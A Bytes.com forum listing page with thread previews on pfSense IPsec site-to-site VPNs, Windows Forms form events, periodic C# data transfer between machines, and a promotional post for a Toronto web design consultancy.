by: TSSRALBI | last post by:
Hello I'm a network technician in training and I need your help. I am currently learning how to create and manage the different types of VPNs and I have a question about LAN-to-LAN VPNs. The last exercise I practiced was to create a LAN-to-LAN VPN between two Pfsense firewalls, by using IPSEC protocols. I succeeded, with both firewalls in the same network. But I'm wondering if it's possible to do the same thing, with 2 Pfsense firewalls...
0
5584
by: adsilva | last post by:
A Windows Forms form does not have the event Unload, like VB6. What one acts like?
1
4138
by: 6302768590 | last post by:
Hai team i want code for transfer the data from one system to another through IP address by using C# our system has to for every 5mins then we have to update the data what the data is updated we have to send another system
3
2937
bsmnconsultancy
by: bsmnconsultancy | last post by:
In today's digital era, a well-designed website is crucial for businesses looking to succeed. Whether you're a small business owner or a large corporation in Toronto, having a strong online presence can significantly impact your brand's success. BSMN Consultancy, a leader in Website Development in Toronto offers valuable insights into creating effective websites that not only look great but also perform exceptionally well. In this comprehensive...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.